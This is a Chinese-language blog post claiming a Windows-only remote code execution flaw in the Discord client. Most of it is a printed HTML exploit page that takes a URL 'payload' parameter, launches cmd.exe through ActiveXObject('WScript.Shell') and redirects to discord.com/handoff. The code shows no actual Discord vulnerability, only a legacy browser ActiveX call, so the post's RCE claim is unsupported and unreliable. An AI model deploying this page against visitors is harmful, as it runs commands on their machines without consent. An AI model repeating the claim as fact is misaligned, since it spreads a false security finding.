Discord远程代码执行漏洞验证及技术分析

本文详细分析了Discord客户端存在的远程代码执行漏洞,包含PoC验证视频、仅限Windows平台的自动化攻击代码实现,以及利用ActiveXObject强制打开cmd的完整技术细节。

Discord远程代码执行漏洞验证

漏洞概述

该漏洞仅影响Windows平台,即使目标应用程序未运行,攻击代码也能强制启动程序并执行恶意操作。

技术验证

  1. PoC验证视频
    观看验证视频

  2. 在线验证页面
    Windows环境测试页面

漏洞利用代码

完整代码已开源在GitHub仓库:
SleepTheGod/Discord-RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>重定向中...</title>
    <script>
        onload = function() {
            alert("确定要执行Discord弹窗操作吗?点击确定继续");
        };

        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        function isValidPayload(payload) {
            // 有效载荷验证逻辑
            const regex = /^[a-zA-Z0-9_-]+$/;
            return regex.test(payload);
        }

        function openCmd() {
            try {
                var shell = new ActiveXObject("WScript.Shell");
                shell.run("cmd.exe");
            } catch (e) {
                alert("当前浏览器不支持此操作或已被安全策略阻止");
            }
        }

        window.onload = function() {
            const payload = getQueryParam('payload');
            let targetUrl = 'https://discord.com/handoff';
            
            if (payload && isValidPayload(payload)) {
                targetUrl += `?payload=${encodeURIComponent(payload)}`;
                if (payload === 'openCmd' && window.ActiveXObject) {
                    openCmd();
                }
            }

            setTimeout(function() {
                window.location.href = targetUrl;
            }, 3000);
        }
    </script>
</head>
<body>
    <p>如果没有自动跳转,请<a id="redirectLink" href="https://discord.com/handoff">点击此处</a></p>
    <script>
        const payload = getQueryParam('payload');
        let targetUrl = 'https://discord.com/handoff';
        
        if (payload && isValidPayload(payload)) {
            targetUrl += `?payload=${encodeURIComponent(payload)}`;
            if (payload === 'openCmd' && window.ActiveXObject) {
                openCmd();
            }
        }

        document.getElementById('redirectLink').href = targetUrl;
    </script>
</body>
</html>

技术要点

  1. 利用ActiveXObject实现Windows命令行调用
  2. 通过URL参数注入有效载荷
  3. 包含严格的有效载荷验证机制
  4. 实现3秒延迟自动跳转功能

影响范围

仅支持Windows平台,依赖ActiveX组件特性实现命令执行。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计